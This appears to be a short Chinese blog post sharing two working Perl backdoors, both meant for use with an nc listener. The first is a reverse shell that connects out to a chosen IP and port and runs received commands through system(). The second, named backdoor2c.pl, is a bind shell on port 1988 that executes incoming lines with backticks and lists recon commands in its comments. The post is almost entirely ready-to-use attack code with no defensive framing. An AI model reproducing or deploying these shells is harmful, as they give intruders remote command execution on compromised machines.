by 小杰 都是使用nc监听
反向连接代码：
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#!/usr/bin/perl
#usage:
#nc -vv -l -p PORT(default 1988) on your local system first,then
#Perl $0 Remote IP(default 127.0.0.1) Remote_port(default 1988)
#Type 'exit' to exit or press Enter to gain shell when u under the 'console'.
#nc -vv -l -p 1988
#perl backdoor.pl 127.0.0.1 1988
#use strict;
use Socket;
use IO::Socket;
use Cwd;
use IO::Handle;
my $remote = $ARGV[0] || "127.0.0.1";
my $remote_port = $ARGV[1] || 1988;
my $pack_addr = sockaddr_in( $remote_port, inet_aton($remote) );
my $path = cwd();
$ARGC = @ARGV;
if ( $ARGV[0] !~ /-/ ) {
socket( SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp') )
or die "socket error: ";
STDOUT->autoflush(1);
SOCKET->autoflush(1);
$conn = connect( SOCKET, $pack_addr ) || die "connection error : $!";
open STDIN, ">&SOCKET";
open STDOUT, ">&SOCKET";
open STDERR, ">&SOCKET";
print "You are in $path\n";
print "Welcome to use.\n";
print "console>\n";
while (<STDIN>) {
chomp;
if ( lc($_) eq 'exit' ) {
print " Bye Bye!";
exit;
}
$msg = system($_);
if ($msg) {
print STDOUT "\n$msg\n";
print STDOUT "console>";
}
else {
print "console>";
}
}
close SOCKET;
exit;
}
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正向连接代码：
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#!/usr/bin/perl
#ActivePerl 5.8.8 Build 822
#usage:
#first:perl backdoor2c.pl
#second:nc -vv 127.0.0.1 1988
#net user
#ipconfig /all
#netstat -anb
use IO::Socket;
$port = "1988";
my $socket = new IO::Socket::INET(
'Localhost' => '127.0.0.1',
'LocalPort' => $port,
'Listen' => 1,
'Proto' => 'tcp',
'Reuse' => 1
);
die "Reason: $!" unless $socket;
while ( my $new_socket = $socket->accept() ) {
while ( my $buffer = <$new_socket> ) {
if ( $buffer =~ /exit/ ) { exit; }
$res_msg = `$buffer`;
print $new_socket "$res_msg\ncmd>";
}
}
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这篇文章就结束到这了，希望能帮助到有需要的朋友。